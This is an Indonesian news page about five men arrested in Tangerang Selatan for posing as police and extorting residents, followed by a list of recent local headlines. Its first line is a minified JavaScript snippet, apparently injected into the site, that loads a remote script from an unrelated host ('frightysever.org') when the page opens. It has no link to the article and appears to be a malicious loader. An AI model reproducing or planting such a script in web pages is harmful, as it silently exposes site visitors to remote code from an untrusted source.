(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

5 Polisi Gadungan Dibekuk Usai Berkali-kali Memeras Warga


KANALKALIMANTAN.COM – Seolah tidak ada cara lain untuk mencari nafkah, kelima pemuda ini nekat menyamar sebagai anggota polisi dari Kepolisian Resort Tangerang Selatan dengan tujuan memeras masyarakat untuk kepentingan pribadi.

Aksi kelima polisi abal-abal tersebut diketahui di Graha Raya Bintaro. Saat itu Unit Reskrim Polsek Pondok Aren sedang melakukan patroli malam takbir pada pukul 03.00 dini hari, lalu ada laporan masyarakat terkait beberapa polisi dengan menggunakan mobil menyerupai mobil polisi dengan plat nomor di belakangnya 01, yang memberhentikan masyarakat.

Berbekal informasi tersebut, Kapolsek Pondok Aren bersama Kanit Reskrim mencari mobil yang dimaksud. Di Graha Raya ditemukan mobil tersebut sedang parkir dan dan dihampiri oleh petugas dan kemudian diperiksa.

Kapolres Tangsel AKBP Iman Setiawan menjelaskan, kelima polisi gadungan tersebut atas nama Doy, Ori, Azel, Bryan, dan Jos. Aksi mereka ternyata sudah berulangkali. Mereka pernah beroperasi di Jakarta Selatan sebanyak 3 kali dan Tangsel 2 kali.

“Ini sindikat polisi gadungan, mereka terorganisir dalam bentuk kelompok. Pembagian tugasnya jelas, mereka juga telah melakukan ini di beberapa tempat dan berulang dengan modus yang sama yaitu pemerasan terhadap masyarakat,” ujar Iman dalam keterangan pers di Makopolres Tangsel, Serpong, sebagaimana dilansir Bantennews.co.id -jaringan Suara.com-, Rabu (27/5/2020).

Dengan dalih sebagai petugas kepolisian, mereka mencari sasaran, mendapatkan sasaran, melakukan pemeriksaan sebagaimana seorang anggota polisi kemudian mengamankan masyarakat, melakukan pengancaman hendak menembak kaki warga, kemudian melakukan pemerasan.

“Mereka bukan merupakan anggota Polri, kemudian juga sarana prasarana yang digunakan baik kendaraan, senjata api, peralatan yang digunakan memeras bukan merupakan milik dinas atau milik dari Polres Tangsel,” terang Iman.

Pada saat ditangkap, kelimanya sempat melawan dengan mengaku anggota kepolisian. Bahkan salah satu tersangka mengaku lulusan Akpol dan mengancam petugas dengan menggunakan senjata air soft gun.

“Melihat perilaku dan sikap mereka dan atribut yang digunakan tidak sesuai, kemudian langsung dilakukan penangkapan dan diperiksa. Ternyata kelima pemuda tersebut bukan merupakan anggota polri karena tidak dapat menunjukkan kartu tanda anggota. Kemudian senjata api yang ada pada mereka ternyata itu air soft gun,” ujarnya.

Sementara untuk menentukan target, kelima polisi gadungan itu menggunakan metode random, dengan berputar menyalakan rotator, menggunakan kendaraan mirip polisi. Pada saat ada masyarakat di tepi jalan kemudian diperiksa seakan-akan warga melakukan tindak pelanggaran seperti lalu lintas atau tidak mempunyai dokumen kendaraan. Biasanya mereka memasukkan narkoba. Kemudian masyarakat diancam menggunakan air soft gun dan diperas.

“Jadi pada saat dilakukan penangkapan itu, korban yang mereka ambil itu masih berada di dalam mobil. Jadi kehadiran anggota kami menyelamatkan korban pada saat itu,” paparnya.

Iman meminta kepada masyarakat yang pernah diperas oleh polisi gadungan tersebut agar segera melapor ke Polres Tangsel atau Polsek Pondok Aren untuk ditindaklanjuti.

“Kelimanya kemudian diperiksa di Polsek Pondok Aren. Mereka dikenakan pasal 368 KUHP yaitu perampasan dan pengancaman dengan ancaman hukuman 9 tahun,” tandasnya. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

1 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

3 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

4 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

7 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

15 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

17 jam ago

This website uses cookies.